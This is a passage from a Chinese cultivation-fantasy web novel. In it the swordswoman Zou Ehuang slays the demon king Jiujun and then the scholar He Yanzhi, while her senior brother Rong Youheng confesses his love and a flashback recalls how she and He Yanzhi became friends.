八十一道天雷之下本就摇摇欲坠的星盘,终于于此时碎成了星星点点,何言知噗地吐出了一口沉血,艰难地抬头看向容有衡。 “你——” 容有衡掏了掏耳朵:“你什么你,一报还一报,这是你欠她的。” 随着流转于何言知手上的星盘轰然炸碎。逍遥门之上,暗压压的雷云取代了一片晴空,烈阳也渐渐隐去,藏匿在雷云之后的半轮黄月逐渐显露。 但是地上的人们都无暇注意这些变化。 众人的目光,此刻均情不自禁地凝聚在抽剑走出的邹娥皇身上。 “为何偷袭人界?” 久俊喃喃道,“你这句话,问的可真奇怪。” “修士杀妖兽需要理由吗,你们奴役我们几千年给过我们理由吗,如果没有,那如今我偷袭人界,为什么要原因,或者,为什么要给你解释?” 邹娥皇叹气,“是么。” 下一瞬她回头,对着人群里的青度喊道:“给我三罐桃花酿。” 突然被点名的青度错愕抬头,旁边曲轻云摁住她掏乾坤袋的手,“你疯了,你师伯还在打架,你给她酒做什么,嫌她醉的不轻吗?” 却被青度手肘怼开。 青度喊道:“邹师伯——” “接好!” 三罐上面披着红纸的桃花醉,被青度一拳运出,陶瓷做的酒器在这灵气之下于半空中轰然炸碎,众人只看见清澈透亮的酒水抛出了一段优美的弧度,被邹娥皇稳稳接在手上的碗里。 “嗬。” 三罐桃花醉痛饮下肚。 邹娥皇扔开旧碗,双指从容地抚摸剑身。 她眼睫簇簇分明,只有眼尾的一簇浓密而卷翘,像蝴蝶振翅;乌云密布之下,逍遥门的一切都显得阴森黯然,还有几道未消如小蛇的细雷从云层里阵阵冒出,轰隆隆的。 几束光从一片漆黑中闪出,照亮她忽明忽灭的面容。 久俊这个时候竟有些害怕了。 它这一生常靠恐惧逼迫人或妖下跪,但是从来没有谁能像此刻的邹娥皇一样让它恐惧。 软耳冒出,獠牙控制不住地内敛,背后冷汗浸湿,久俊在一瞬间甚至想要跪下。 不、面前这个人最多只是大乘期。 没什么好怕的。 哪怕她有一柄剑,可天下剑修多了去了,难道有剑的就是剑皇吗。 只听见邹娥皇说,“你是不是还没有结过婚,不对,在你们这里,叫成亲,久俊,你是不是还未有子嗣?” 久俊面色奇妙地微红:“你问这个做什么?” 邹娥皇平静道:“我只是在想,为了保护物种多样性,如果我杀了你,这世界上是不是又少了一种稀缺的妖物。” 挑衅。 这就是赤裸裸的挑衅。 虽然妖王听不懂什么叫物种多样性,但它听明白了,这个人类很自信嘛,觉得能杀的了它。 久俊危险地笑了,青白的獠牙闪过一丝寒光,“你真自大,比二十年前那个败在我父王脚下的容有衡还要自大。” 它一扫邹娥皇的装束,忽然察觉了什么,冷哼了一声:“你是蓬莱的,和容有衡什么关系?” “罢了,管你们是什么关系。” “在绝对的实力面前,都只是送死——” 然而这个死字还没有说完,硬生生地就被卡在它的喉咙里,进退两难。 一声铮鸣的剑响响彻此方天地,那一刹那,没有人能看清邹娥皇是如何动身的,等反应过来的时候,那个慢吞吞的姑娘就已经瞬移在久俊身前,宽重的厚剑表层漂浮了薄薄的一层酒液。 这是久俊第一次闻到酒的味道。 它传承过几千年的回忆,但这是它第一次真真正正地在现实里嗅到这么浓郁的酒气。 这剑如今就横在它的脖子上。 “我不想杀人,也从没想过要杀妖。” 形如鬼魅的女子在它耳畔轻轻道。 “可是天不遂人愿。” 下一瞬,在久俊的掌风触碰到邹娥皇之前,她用比它更快的速度跳开,脚尖点在断墙之上,厚剑绕着久俊方圆画了个不大不小的圈。 这是避魔圈么。 旁观的青度眼皮一跳。 画圈的人醉醺醺地笑了。 “久俊。” “你太年轻了。” 邹娥皇认真地比划,“如果你是二十年前那只久俊,我不会和你这样的说话,但是现在的你,只继承了历代久俊的记忆和妖力,却并没有掌握这样的力量,今天我杀你,算我胜之不武。” 避魔圈微微闪着光。 圈内久俊被邹娥皇这句话气的几乎要暴走了,它的身躯越来越膨胀,背后浮现出一团模糊的法相,但是最后却被禁锢在避魔圈内进退不得,于是只能卡在这样的大小。 所谓避魔圈,那便是外面的妖物碰不到里面的人。 但是如果里面的不是人而是妖的话,作用就恰好相反了——里面的妖出不去。 “这是什么东西!” 久俊发出一阵吼声,翅膀一震,就要从中挣脱开。 密密麻麻的虫妖受吼声影响,不自主地冲进了避魔圈,力图帮助它们大王挣破束缚。 但是没用。 没用。 邹娥皇呼吸落得很轻:“久俊,是你自己说的,修士杀妖兽要什么理由。” 这把名叫无名的剑,在今夜注定不再无名。 久俊浑身僵直,在这个女子靠近它的时候,它就像被那股酒气感染,变成了不会动的木偶,只有眼珠子还能僵直的转动。 它盯着这剑尖。 在这一刻,它忽然觉得时间在倒退。 它是继承了父辈妖力的妖王,但或许就像是邹娥皇所说,它还太年轻,年轻到明明拥有了空间之力的力量,却不能在此刻运用自如。 那剑的出速落在它眼里分明是慢的。 但竟无处可避。 那高高昂起的头颅就像薄纸一样被撕开。 它的眼睛甚至没来得及睁圆。 就先迎来了死亡。 淋漓的鲜血从断了的头颅喷射而出,地上的避魔圈无形已经消失,挤进来的虫妖们又纷纷如潮水般褪去。 这是独属于这个修真界的残忍和儿戏。 月隐云层,雷声轰然,雷电若闪光,一瞬照亮了这周遭的一切,也照亮了那柄剑,持剑的人隐在暗处,而她手上的剑却落在明处。 一剑,那只是一剑。 一剑,就让这个在妖界无往不利的久俊落败,所有人都面露惊疑之色,妖族更是兵败如山倒。 须知,当初的宴霜寒,不过也就是一剑罢了。 一片哗然与得救的欢呼里,唯独落剑的人,神色如常。 仿佛邹娥皇一早就清楚,她拔出来的剑,该是这天下至强。 尹婉惊呼一声,瞳孔骤然放大,尹婉回头问尹芝道:“她到底是谁?一剑斩妖王?我怎么不知道蓬莱还有这样的一个人物了。” 尹芝为难地吸了吸鼻子,“长老,她就是邹娥皇” 邹娥皇这个名字在七彩阁很出名。 因为七彩阁阁主尹月,有一块迟迟不肯更换的通灵玉,据说就是为了邹娥皇。 越蓬盛此刻也从那院子里赶了出来,颤颤巍巍地后退三步,却不小心踩到了一鬼谷弟子的脚尖。 再一回头,竟然还是之前一两个月前那论道大典上认识的老相识,鬼谷新一代的大师兄,皇甫清歌。 只见这人死死扒着越蓬盛的衣服,目瞪口呆地指着前面的邹娥皇,吞了一声口水后,颤颤巍巍地问:“她是谁?” “我知道了!” 不等越蓬盛回答,皇甫清歌就自问自答:“她是不是就是你们蓬莱道祖一百年前收的那个关门弟子,传说中天赋绝伦的那个李仙女,只是、只是长得不像是第一美人哇——” 一鬼谷的师妹瞪了一眼大师兄:“人家都这样有实力了,你何必点评人家外貌。” “哎呀,我不是这个意思。” 越蓬盛摆手,似笑非啼,“不是啦,不是啦,你们都想到哪里去了。” “她是道祖的二弟子,我的曾曾曾师伯,邹娥皇!” 越蓬盛一边说一边推开叽叽喳喳的几人,想要从人群里脱身,而前面邹娥皇似乎听到了什么,若有所思地转过身来。 下一瞬,却只听得几声口水噗出的声音。 “什么!?” “你说她是谁?” “邹娥皇?那个蓬莱有名的二师伯——” 皇甫清歌用自以为压低的声音道:“就是那个那个、你跟我说过的那个——” “整日里偷鸡摸狗修为多年毫无进步靠法宝丹药堆起来的邹娥皇——” 邹娥皇:“…” 她也是今天才知道,在越蓬盛这小子眼里,居然是这么看自己的。 越蓬盛硬着头皮和邹娥皇对视,心里咯噔一下,知道大事不妙。 “我什么时候这么说过,”他迅速和皇甫清歌为首的一行鬼谷子弟拉开距离。 越蓬盛心虚道:“我跟你说的明明是我这二师伯拳打妖王脚踢剑皇,实乃道祖座下第一人。” “…” 众人皆鄙夷地看向他。 邹娥皇吐出一口酒气,并没有和越蓬盛计较。 她这个时候应当是醉了。 换谁都要醉的。 不为那三壶好酒,只为剑下妖皇。 却只见这个黑发姑娘忽然转身笑吟吟地起手,剑尖蘸起地上的血泊,冷月如霜渡在仅存的几面的白墙上。 这是一个漂亮的剑花。 这也是一手漂亮的字。 “我于人前落一剑——” “从此剑仙不更名。” 众人喃喃念出邹娥皇刻在墙上的诗句,这刻风萧萧也极静,妖王死后,一众妖兽呜咽拜逃的脚步声也尽数褪去。 天地间,仿佛只能看见这一柄古朴冷然的黑剑,在这一刻,执剑的邹娥皇好像也成了这柄剑的剑鞘—— 不,她本来就是这柄剑的剑鞘。 众人直到这个时候才惊觉,或许也是因为他们直到这个时候才把视线落到这柄剑上,于是他们终于发现一件事,这柄剑不同于别的剑,竟没有剑鞘一直以来都只是被几层厚布裹住,而当它出鞘的时候,众人看着那钝钝的剑锋,也只当此剑无需鞘来收束。 竟没有想过,水至清则无鱼,这天下最钝的剑,阴阳逆转,或也可成为这天下最锋利的剑。 只是它的锋利,不在剑表,而在持剑人。 冷月如霜,剑凿白砖传出一阵阵细索的沙沙声。 写字的邹娥皇按年龄来说已经算是一个老人,可容有衡想,两辈子以来,他的师妹从未如此轻狂气盛过。 从未如此。 他近乎眷恋地将目光落在邹娥皇的脸上。 容有衡轻轻笑了,“竟是从此剑仙不更名啊。” 这句迟来的轻狂,要跨越多少年才能拥抱住当年那个“邹女一剑落九仙”的姑娘,要跨越多少人山人海的嘲讽,才能告诉当年的那个师妹—— 邹剑仙,你的剑自是天下顶顶好的。 “师兄,你怎么在这里?” 许是容有衡的这一声呢喃,终于让邹娥皇注意到了他的存在。 那姑娘忽然笑盈盈地朝他走了过来,宽剑拖在地上划出一道好看的剑痕。 容有衡呼吸一滞。 邹娥皇大约是真醉了。 她将右腿高高抬起,豪迈地搭在容有衡的肩上,将这身材高大的男子封在墙壁和她的间隙之间。 “你别逃。” 容有衡沉默地侧头觑了一眼压在他肩上的黑靴子,心想这怎么逃。 邹娥皇问:“你是不是喜欢我。” 随着姑娘话音落下,容有衡的呼吸几乎都要被冻住了。 大约是石化了。 这男子眼眸如玻璃珠一样的幽深静谧,此刻里面却被月光映照的光怪陆离,只映着一位姑娘一柄剑。 四周鸦雀无声,越蓬盛捣了捣面色苍白的姜印容,挤眉弄眼。 而另一边青度面无表情地掏出了留影珠。 对着邹娥皇和容有衡就是拍了起来。 一片尴尬的沉寂里,邹娥皇大脑被冷风一吹忽然醒了,反应过来了自己现在都在说什么大逆不道的话。 都怪那个该死的渡劫神境。 邹娥皇想,哎,自己居然真信了大师兄的喜欢。 她面红耳赤,讪讪就要把搭在对方肩膀上的腿放下,下一瞬,却被容有衡握住了脚踝进退不得。 “师兄,我喝大了,都是胡说,别管我” 邹娥皇语无伦次,生怕容有衡一个激动给她脚踝掰断。 毕竟众所周知,容有衡看着白白净净,其实是个体修。 但是她的话还没说完,就被容有衡打断。 “是。” 容有衡的声音平稳,不容置啄。 但细听之下,却有着说不上来的颤抖。 两辈子,他都在等他师妹这么问他一句。 上一世,容有衡和邹娥皇之间,是不打不相识的同门,是互相捉弄亲如手足的师兄妹,他曾经背着她上过花轿,把她亲手送走,也曾为她敛尸,日夜想她病败于床边未咽下的那口气。 就如那恶趣味的天道所说,这两人都可为对方付出比生死还重的代价,但都不承认对方是有情人。 但还是有区别的。 邹娥皇不承认那句有情人,是因为这一心向道的姑娘根本毫无察觉。 而容有衡不承认那句有情人,只是因为他觉得他不能。 蓬莱教他坦荡荡,教他放下痴态,教他不夺人所好教他了那么多事情里面,唯独没教给过他趁人之危。 邹娥皇该是喜欢方半子的。 他容有衡穿回来不是为了和师妹谈情说爱,是为了救他师妹不死 “是——” 容有衡捏着邹娥皇的脚踝,闭眼重复道。 他做的这一切,从来没有想让她发现。 可他也是,真心喜欢她。 第67章  小邹,你竟也学会杀生了。 夜黑月风高, 众人听清了邹娥皇那句问是不是喜欢,也听清了容有衡的那句是。 尹婉咂舌,捂住尹芝的耳朵。 青度面不改色地往前走了几步。 曲轻云默默握着剑。 这是几十年难得一件的大场面啊。 上次还是那个龙主越海追在七彩阁阁主后面要个灵玉的联系方式。 大上次就是有不要命的爆料, 说昆仑剑皇貌似心有所属。 下一瞬,众人却忽然听见镇魂兽的一声嘶吼,只见半大的镇魂兽一跃而起,爪子挠向了容有衡。 错了不是挠向容有衡, 而是挠向这虚空中凭空浮现的一道身影。 身影边缘处像蝴蝶展翅落下的银粉,银白色的光慢慢消失,逐渐显出了一个青衫长发的读书人。 “何言知!” 人群里, 尹婉发出一声惊呼。 他们那个年代, 就没有不知道这位圣人的名讳的人。 大约因为,别人出名是因为活的时候干了什么丰功伟绩。 这位出名,则是因为死得窝囊。 不过奇怪的是尹婉想, 这圣人怎么跟被雷劈过一样。 虚影完全消散, 银白色的光化作星星点点,飘向了周围的黑暗。何言知的食指从容地抵住了镇魂兽的锐爪, 接着下一刹那, 镇魂兽就“砰”地被弹出了几米之外。 夜色里,青度摁住了镇魂兽。 像镇魂兽这类神兽,在自己领地的时候是守护神一样的存在。而出领地之后,实力受限于规则制约,大幅度缩水, 别说是何言知了,打虫妖都费力。 青度拍了拍镇魂兽, 叮嘱道:“别送菜。” 镇魂兽甩了甩鬓毛,不满地青度臂弯里探出头来, 冲着何言知就是呲牙。 何言知挑眉,尚未有什么动作—— 一柄削铁如泥的黑剑就停在他的鼻前。 剑身上,还有未平的血迹。 “这才几日不见,小邹。” 何言知懒散地掀开眼皮,谲异的冷光凝在他的眼角,“你竟也杀生了。” “杀生?” 邹娥皇没笑,只是平静的重复这两个字。 刚刚轻狂的酒气,与月下绮腻的心思,在这张平静的脸上,已挑不出半分。 何言知笑眯眯地抬手,给邹娥皇看他被震碎的筋骨,半是邀功半是惋额道:“一见面就兵戈相向,真不符合你的做风,不感谢我一下吗?” “这一次,星盘为了抵你的雷劫,可是碎了彻底。” 邹娥皇不语,众人只见剑尖黑光一闪。 风起,树枝乱颤。 何言知眼皮一跳,一瞬撕破虚空,出现在三丈远的废土上;剑起狂风,铺天盖地的妖尸与尘土。 这小妞,竟是来真的。 “何言知,我之前说的话,你还记得么?” 邹娥皇平静地看了一圈四周,从不复光鲜的七彩阁女子,到何九州身上别的西吹雪。 短短半日,就少了很多人。 最后邹娥皇的视线定于她的剑尖上。 她自己的剑尖上。 嗖地一声,唯见这柄剑、漆黑的剑,平静又沸腾的剑,将将停在何言知的脖颈前。 只要她一用力,剑就破皮削骨。 “我若觉得你害了人,那我是要亲手了你这条命的。” 微风起,青衫荡起涟漪,何言知极速后退。 他是一位货真价实的大乘,和刚刚死于邹娥皇剑下的久俊不同,何言知这一辈子打过了太多的战役,并且绝大多数,都是胜仗。 然而饶是如此,无论何言知用了什么样的力量,都无法摆脱掉那柄如锋在芒的黑剑。 那柄剑始终不紧不慢地落他半寸。 这就是突破了渡劫神境的邹娥皇么? 何言知把视线从黑剑上挪开,面色仍如方才般含笑。 另一旁,容有衡冷嗤了一声,分明是看出了何言知的体力不支。 好装一男的。 容有衡转念又想。 若不是这人突然出来打岔,刚刚和师妹和师妹——常年轻佻的眼折出水粼粼的波光,一瞬间瞧着竟有些许的面红耳赤,尔后浑身一僵,竟泄了气。 算了。 和师妹,还能怎么样呢。 容有衡有些不是滋味地把手里的灵石捏碎。 碎石闪过一丝银蓝的流光,直直冲着邹娥皇而去。 “大师伯!” “容有衡!” 众人吃惊,视线顺着石子一转。 却只见邹娥皇起剑,背后如长了眼一般,笼住了她师兄的这几枚碎石。 “!” 尹婉松开了红绫,彻底吐出一口长气倒在地上,暗笑自己多此一举,人家两个师兄妹明显打的是配合战,哪用得着旁人在这里提心吊胆。 借着这几颗碎石,邹娥皇一转攻势,剑身一抖,黑石淹没在锋利的剑身,剑势趁雾而起,虚虚实实,变化万千。 好似那火树银花。 对面的何言知十指并出,浓墨自他指缝间溢出像一张网,拢住了碎石与剑端。 下一瞬,墨网寸寸碎,青衣书生噗地吐出了一口血。 邹娥皇提气一跃,再接再厉,踢起石子就直打他死穴。 “为什么呢?” 邹娥皇的剑离何言知只有几寸的时候,何言知忽然听见了一声低低的呢喃。 这声呢喃太轻,几乎要湮灭在剑锋与血肉的摩擦声里。 什么为什么。 是为什么走到这一步,还是为什么和久俊扯上关系。 这世上哪有那么多为什么。 又或者这句为什么,本也不是在问他。 何言知吐了口血水,硬生生地受了这一剑。 面前迎着他目光的女人和山幕诀别的那一幕重合,何言知刚刚遭天雷劈的内伤与现在的外伤* 也合在一起,一团又一团污血几乎要将一身青衫染红。 暗夜里,他那天生悲悯的脸变得阴翳而模糊。 他曾笑她天真,也拜于她天真。 何言知轻笑了下,周身墨气不断翻涌。 众人只见他捏着邹娥皇的剑尖,浓郁的墨气聚拢又打散,青色的衣衫逐渐被墨气洗涤,与这深不见底的夜晚相融。 书生脸上,一直平静的嘴角逐渐上扬,露出了齐整的牙齿。 笑得这样端庄。 他微笑道:“小邹啊——” 生死一线的时刻,兵刃相向之际,何言知的回忆,停滞在了很多年以前,一段相望不相识,相识不相熟的岁月。 那一年,邹娥皇拔不出剑,剑上裹了块黑布就敢出岛;那一年,周平一死,他这个作风嚣张,得罪尽了前朝勋贵的儒生将军,立刻被仇人挑断过拿笔的手筋。 剑修拔不出剑,儒生唤不出笔。 都是旁人眼里半斤对八两的废人。 当何言知落寞到去筵席上混一口饭,嘲笑邹娥皇的时候,其实他自己也是别人眼里的丧家之犬。 后来他们从密州走至幻海天,一路上也经历过几次风波,但是彼此说熟却也不够熟。硬要说的话,基本上是已经不怎么客气直呼其姓,知道怎么骂对方最痛,如果对方掉坑里了,倒也不至于见死不救,可多少是要点报酬的——一种半死不活的关系。 关系的转折口,是在一日下午。 年轻的邹娥皇指着幻海天上写着排名的石碑,意气风发道:“在这块石碑上面,宴霜寒都是我的手下败将。” 而年轻的何言知轻轻叹气,“你放过宴霜寒吧,老盯着他不累么。” 邹娥皇说:“你不信?” 她摸了摸背后的剑,还是一如既往的拔不出来,只好佯装若无其事地挠了挠头,转移话题。 “那咱们半斤对八两,你也放过周平吧。” 邹娥皇道:“我就奇了怪了,他死得那是一个透彻,尸首就在老周家的皇陵那里安放着,御医和墨庄的诊断明白的不能再明白了,修炼的时候走火入魔加旧伤复发,到你这非得说这是一场阴谋。” 何言知伸手点了点唇。 他笑意微顿,“嘘,周平也是你叫的?非议陛下,传到京都,五十大板少不了。” 邹娥皇:“” “何言知,有时候你让我觉得,更像一个太监。” 何言知笑不出来了。 他哼了一声,“你不懂。” 涉及周平和男性尊严,何言知试图说服邹娥皇,“周平那样的人,从田舍爬到天子位,能力野心机遇都不差,怎么可能就这样死了?” “怎么不可能,老马失蹄没听过么。” 邹娥皇打了个哈,心想这人还挺双标的,明明自己嘴里也是一个又一个周平,偏偏不让她喊。 她没再说什么,只目不转睛地看着眼前的幻海天入口。 作为修真界少有的公有财产,幻海天秘境打开的条件一惯苛刻,需要五大门派的合力,以及至少一名大乘期坐镇,才能撑起幻海天的秘境。 “那你来幻海天秘境入口找什么?进又进不去。” 何言知:“周平是在幻海天秘境结束后,才重病一场,移驾密州养伤。” “哦,”邹娥皇懂了,“所以你是来这找线索。” 何言知点头,他抬眼反问邹娥皇:“那你呢?” “你为什么要一路跟着我走到幻海天?” 邹娥皇一脸真挚:“我当然,当然是因为——” 何言知屏住呼吸。 却见对方捧住石碑,一脸深情道:“上次拿了秘境第一后,我以为那是辉煌的开始,现在我发现我错了,如果再给我一次机会——” 何言知吃惊:“你就要养精蓄锐?” 邹娥皇摇头。 何言知敬佩:“那你是要在秘境里先下手为强,做掉宴霜寒?” 邹娥皇仍摇头。 何言知眼皮一跳,心道这小妮到底要说什么。 就听见邹娥皇缓缓道:“如果再给我一次机会我会选择至少拿留影珠合个影。” “…” 何言知:“你跟着我从密州出发,一路上饭吃不饱衣穿不暖,不离不弃结果就是为了来合个影?” “不然呢。” 邹娥皇拍了拍他的肩膀,忽然脚下一松。 下一秒,只听“哐”地一声,两人就掉到了不知名的暗室里。 邹娥皇警惕道:“什么情况。” 何言知敲了敲地砖,回声却从顶头上传来,心里有了大概的估计。 “是镜阵,幻海天的守护之阵,你上次没遇到么?” 邹娥皇摇了摇头,“没有。” 镜阵里,一切都是虚幻。 误入镜阵的两人对视一眼,只能硬着头皮继续上了。 何言知背手走在邹娥皇身后,慢吞吞道:“你要当心,这是镜阵,以右为左,镜花水月,皆为虚幻。” “如果一不小心掉进了哪个陷阱,可是要命的。” 邹娥皇:“何言知你少说几句虽然现在咱们没有落进陷阱里去,但是已经迷路了。” “呵。” 镜阵里到处黑漆漆的,一阵疾风刮过,何言知蹙眉,下意识地拉过了前面的邹娥皇。 代价就是,他的胳膊替邹娥皇挡了一箭。 就是那一刻,邹娥皇也像如今这般问了何言知那句为什么。 彼时她呼吸一滞,刚刚那枚箭险些擦着她耳尖而过,除了劫后余生的后怕外,邹娥皇脱口而出的第一句竟是:“为什么?” 为什么救我? 或许问为什么听着很奇怪,但一想到拿胳膊换她的人居然是何言知,当时的邹娥皇只觉得后背汗毛林立。 亲娘咧。 这可是何言知。 一想到路上被他坑的灵石,还有他无风不起浪的性子单单只是拉她一把还好,可让这样的人不惜折了一条胳膊也要拉她一把除了祖坟冒青烟,她能想到的唯一一个解释就是… 邹娥皇试探着问:“其实你是我们蓬莱的人?” “…” “邹娥皇,”何言知深吸一口气,没理她。 如果那时是还没和邹娥皇走一段路的何言知,或许会花言巧语,去哄骗一个姑娘的心;如果是将来和邹娥皇成为朋友的何言知,也许会就着这个话题去演一出无间道。 偏偏是现在半生不熟的何言知,和邹娥皇经营着一段半死不活关系的何言知。 显然,他自己也没明白。 怎么手就那么快呢? “镜阵里面有一些受阴气滋养的镜灵,会放箭,你现在立刻在身上贴几个符,否则在这里中箭了,以你的修为,和等死差不多。” 何言知手上有一层厚厚的剥茧,此刻稳稳地落在了邹娥皇肩上。 “一会别说乱七八糟的,照做就好。南阳火为阴火,而镜中相左,我开阴气引路,你只管往前走。” 两人又兜兜转转了半个时辰,期间只能看见微弱的灵光,导致邹娥皇把何言知被暗器伤过的胳膊错拧了好几次,最后才终于从一处暗门里走了出去。 率先从镜阵里走出的何言知被人用不出鞘的剑戳着腰。 持剑的姑娘手腕发抖,而眼是亮晶晶的。 她说,我从不欠人情,你这样帮我,将来管血海滔天还是千军万马,只要你有需要,我就来。 何言知只是负手将剑推远。 姑娘看他不信,跺了跺脚又喊:真的啊,只要不是要命的买卖。 因为何言知没回头,邹娥皇看不见对方脸上是笑还是气。 她只能听见一声毫不客气的滚。 邹娥皇笑着大喊:“少来,别这么别扭。” “再做一次自我介绍,我姓邹名娥皇,行不更名坐不改姓,蓬莱道祖座下二弟子,说记着你的情,就是记着,你这个朋友,我认了!” 何言知说:“你认我当朋友,对我有什么好处?” 邹娥皇跳起来搭上他的肩,眉飞色舞道:“你不是想找周平的事么,我教占星术吧。” 何言知顿了顿,瞬间换了个笑:“好朋友,此言当真?” 邹娥皇眼睛发亮:“当然!” 浅数何言知这一生。 上辈子是戎马半生,下辈子收笔密州,结识豪杰无数,可是三千年前,只有一个邹娥皇步履坚定地下山,背着一柄拔不出的剑,就敢单枪赴会。 只为了看不见摸不着的义气。 然后,再为了这声义气,磨出了那把传世之剑。 你说这姑娘蠢么。 也确实蠢得可以。 因为一个聪明人,从一开始就永远不会问那三个字——为什么。 …… 很多年后,他们都变了。 剑修那柄默默无名的剑终于扬名天下。 而手不沾血的儒修,因果就如同手上黑漆漆的墨色,那是不知道多少鲜血与人命才能叠成的浓黑。 “邹娥皇啊” 回忆收拢,何言知闭眼叹息,忘掉了昔年一声声的小邹,再次睁眼时,他已含笑露齿,点头称是,供认不讳,应下了这一出乱戏。 “挑起人族与妖族之间的征伐,一味地享受玩弄时局的乐趣,喜怒无常利欲熏心” “都是我做的。” “你刚刚说要拿我命,便来试试。” 何言知出现的时候,青衫上就染了血,如今身上又多了几分破败的狼狈,唯有额前的莲花印,闪着不灭的光泽。 青白与血红相映,诡异而惊人。 月霜华地,黑衣长发的姑娘握紧手中剑。 邹娥皇心道不好,早知道把刚刚的酒壶砸他身上了,呲死这个不要脸的。 第68章 这一剑啊,叫作取他狗命 人人常说, 百无一用是书生;可若这书生姓何,那便不容小觑;若这书生不仅姓何,还是那十指墨律的何言知 邹娥皇左手拖着剑。 剑尖在地上摩擦出花火, 噼里啪啦的,很吵人。 但和这喧嚣的噪音相比,她本人却寂静到了一种不可思议的地步。 遍地狼藉里,众人只见她脚尖绷紧, 如蜻蜓点水般,一跃而起,长剑向上, 仿佛要劈开这皓月, 偏最后一转,剑气回锋,满园剑光, 以迅雷不及掩耳之势朝何言知劈去。 周围寂静的连落叶飘荡的声音都轻若可闻。 只见这威势浩大的剑透过了何言知, 就像是穿过了一层山水画一般容易,几息后何言知出现在邹娥皇身后, 他微微笑着, 右手拔地起,五指上面的墨字盘旋飞起。 “师伯,”越蓬盛失声紧张。 何言知的食指靠在唇畔上,繁杂的咒文从他口中倾泻而出。 “静——” “束——” “变——” 轰隆隆的,青度几人身形不稳, 一个踉跄。越蓬盛又骂了句草,他传承的是天地之力的祝巫舞, 比起旁人更能察觉到土地的变化。 真恐怖啊这些大乘,都像怪物一样。 容有衡瞥了这几个小辈, 啧了一声:“都到我身后去。” 在场的若论真格的,和何言知交过手的也就容有衡一个,刚刚久俊还没死的时候,这两人在天上先过了几百招。 对何言知的实力,容有衡心里基本有个数。 强弩之末罢了。 师妹对付这人,绰绰有余。 原先的平地如今高高拔起,把邹娥皇困在里面。 忽地强光一震,邹娥皇持剑一斩。 何言知面色不变,只是额前最右侧的莲花瓣暗了。 剩余的几瓣却像吸足了水一般,娇艳欲滴。 “嘶——” 众人只见这何圣双手往额前一扣,一只玄黑色的笔从莲花印中溶出。 何言知早年练过剑,耍过双刀,祭过字,唯独笔,有关他的记载里却几乎没有,只有他和周平的争执杂谈里,曾经记载过他对帝王须的不屑一顾。于是有人因此以为,这位大名鼎鼎的圣人,其实根本不用笔,而是言出法随,以天为笔。 可是现在想想——拿笔吃饭的书生,怎么可能本命法器不是笔呢? 何言知负手一挥,刹那间天地变色,和刚刚的久俊像两个极端,浓稠的夜色如墨,像被这只笔吸走了一般,天地变得晓白,唯有这支笔与邹娥皇的剑漆黑。 邹娥皇长剑一挑,然而笔墨如有形,裹着她动弹不得。 冷静。 邹娥皇深吸一口气。 曲轻云神色担忧,同为剑修,他当然能看出来局势不妙。对剑修来说,麻烦的不是久俊那类皮糙肉厚的防御形敌人,而是这样黏黏糊糊,刺一下还要拖泥带水的东西。 邹娥皇手中的剑愈来愈快,隔得远的众人更是几乎只能看见剑影。 “她现在应该放慢速度,”尹芝蹙眉,“加快速度只会越缠越多——” 尹芝想,如果这人不是一个剑修,她都想劝对方赶紧丢了那把剑。 尹婉则是摇头,“我不这么看。” 果真姜还是老的辣,众人只听得一声剑鸣,接着长剑一弹,万千墨点从剑身上挪开。 “细月分春!”曲轻云赞叹道。 好标准的一招细月分春,才能从这千丝万缕的稠墨里脱颖而出。 “怎么学的剑法?” 容有衡轻哼,音色平平,可众人竟听出了几丝骄傲,“你可曾见过细月分春后面连着一套神龙摆尾的?” 只见那分走墨点的剑影不停,随着持剑人一跃而起,万般剑影交叠于一点,然后朝着何言知劈去,刚刚被甩开的墨点现在却像是何言知作茧自缚,宛如天罗地网将他困在原地。 剑头与笔头相撞。 大气横流,飞沙走石。 “这一剑啊,”容有衡微微笑道,“叫做取他狗命!” 就在这个当头,何言知的另一只手一挥,浓厚的墨气从笔尖绕出,直直奔着邹娥皇背后袭去。 越蓬盛跳脚:“搞偷袭这丫的!” 邹娥皇的剑已经捅了进去,而墨气从她背后飞来,现在她的剑若强制收回,那多半要伤及己身,若不强制收回这一剑,那轻则动骨伤筋,重则小命不保。 就在这千钧一发之际。 何言知懒懒地抬眼,微笑着问邹娥皇:“还不收剑么?” 邹娥皇并不回答,只是将剑再捅进一寸。 她好像根本不在意自己会不会死,她在意的只是不能让何言知继续活下去。 何言知看出来了。 尖锐浓稠的墨气于是一下子狠狠砸下,但在几乎要碰到邹娥皇后脊的那一刻,狼狈地四散。 黑漆漆的铁剑从何言知胸前穿过,几乎要撕裂了他整个身子。 他唇角的笑意,也终于到了顶峰。 邹娥皇并未松手,剑气起星火,照亮了她的脸庞,鬓角细发纷飞,火烧火燎中,那双眼睛极其的亮,也极其的圆,就像是天上的满月。 然而这世上满月难寻,阴晴圆缺早是定数。 何言知握着邹娥皇的剑,剑穿透了他的身躯,他用力往下一摁,淅淅沥沥的血从剑身上滑落,这人却仍兀自疯着,眉间的莲花印灭了三瓣,只剩下了最中间的花蕊,亮光依旧。 “噗呲——” 中间唯一明亮的花蕊也渐渐地变灰变暗。 花蕊主人的笑意逐渐凝固,呼吸也变得急促,嘴唇中最后呢喃了两个字,无人听清。 在这几秒里,邹娥皇的视线终于从自己的剑,移到了何言知的脸上,她盯着故人的皮与骨,从额起,到眉、到眼、到鼻、到嘴,以及那标志性的花蕊,随着花蕊越来越暗,越来越淡,直到最后随风消散。 断壁残垣中陆陆续续传来了几声惊呼。 何言知死了。 或许他最后的墨气没有砸在邹娥皇身上,是出于某种亏欠;也或许是因为他知道砸了也没有用。 但是不管如何,他已经死了。 邹娥皇低头又看了一眼,发现标志性的莲花印记随着主人的死亡,也渐渐失去了色彩。 上一次这家伙死的时候,这个印记消失了么? …邹娥皇收剑,轻轻吁出了一口长气,抹掉了额前的细汗,转头看见神色不明的容有衡,之前忘掉的事情,又浮现在了脑海里。 “师兄”邹娥皇尴尬道。 容有衡嗯了一声,他脸色不变,好像之前的那句喜欢不是他承认的一样。 众人搓了搓胳膊,莫名觉得有些冷。 “现在做什么?” 越蓬盛跃跃欲试,他是头一次遇上这样的事,总觉得这个时候似乎还要有个的收尾,才对得起这一天的惊心动魄。 却看见其余人这个时候反而都很默契地从乾坤袋里拾出了一块白布,将地上的东西裹在一起收拢。 地上,地上有什么? 越蓬盛想,漫不经心地低头一扫,下一秒就蹦出了三丈高。 娘嘞,怎么全是骨头和失去原样的血肉。 在这个修真界,总是有些共识的。 二十年前,妖族入侵落幕后,面对着满地狼藉,灵田与灵矿都受到了不同程度的污染,众人追溯源头,在十四盟开了无数个会议,最后才发现是尸骸引起的污染。 